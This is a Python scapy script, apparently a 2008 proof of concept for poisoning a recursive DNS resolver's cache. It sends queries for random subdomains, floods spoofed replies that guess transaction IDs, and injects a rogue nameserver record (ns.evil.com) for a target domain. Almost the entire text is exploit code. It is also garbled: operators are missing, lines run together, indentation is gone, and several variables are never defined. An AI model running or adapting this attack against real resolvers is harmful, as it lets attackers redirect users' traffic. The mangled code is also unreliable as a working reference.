from scapy import *
import random# Copyright (C) 2008 Julien Desfossez <ju@klipix.org>
# http://."
# sub-domain to claim authority on
domain = "sub.example.com."
# Spoofed authoritative DNS for the sub-domain
spoof="ns.evil.com."
# src port of vulnerable DNS for recursive queries
dnsport = 32883# base packet
rep = IP(dst=targetdns, src=srcdns[0])/ \
UDP(sport=53, dport=dnsport)/ \
DNS(id=99, qr=1, rd=1, ra=1, qdcount=1, ancount=1, nscount=1, arcount=0,
qd=DNSQR(qname=dummydomain, qtype=1, qclass=1),
an=DNSRR(rrname=dummydomain, ttl=70000, rdata=targetip, rdlen=4),
ns=DNSRR(rrname=domain, rclass=1, ttl=70000, rdata=spoof, rdlen=len(spoof) 1, type=2)
)
currentid = 1024
dummyid = 3
while 1:
dummydomain = "a" str(dummyid) basedomain
dummyid = dummyid 1
# request for our dummydomain
req = IP(dst=targetdns)/ \
UDP(sport=random.randint(1025, 65000), dport=53)/ \
DNS(id=99, opcode=0, qr=0, rd=1, ra=0, qdcount=1, ancount=0, nscount=0, arcount=0,
qd=DNSQR(qname=dummydomain, qtype=1, qclass=1),
an=0,
ns=0,
ar=0
)
send(req)# build the response
rep.getlayer(DNS).qd.qname = dummydomain
rep.getlayer(DNS).an.rrname = dummydomainfor i in range(50):
# TXID
rep.getlayer(DNS).id = currentid
currentid = currentid 1
if currentid == 65536:
currentid = 1024# len and chksum
rep.getlayer(UDP).len = IP(str(rep)).len-20
rep[UDP].post_build(str(rep[UDP]), str(rep[UDP].payload))print "Sending our reply from %s with TXID = %s for %s" % (srcdns[0], str(rep.getlayer(DNS).id), dummydomain)
send(rep, verbose=0)# check to see if it worked
req = IP(dst=targetdns)/ \
UDP(sport=random.randint(1025, 65000), dport=53)/ \
DNS(id=99, opcode=0, qr=0, rd=1, ra=0, qdcount=1, ancount=0, nscount=0, arcount=0,
qd=DNSQR(qname=dummydomain, qtype=1, qclass=1),
an=0,
ns=0,
ar=0
)
z = sr1(req, timeout=2, retry=0, verbose=0)
try:
if z[DNS].an.rdata == targetip:
print "Successfully poisonned our target with a dummy record !!"
break
except:
print "Poisonning failed"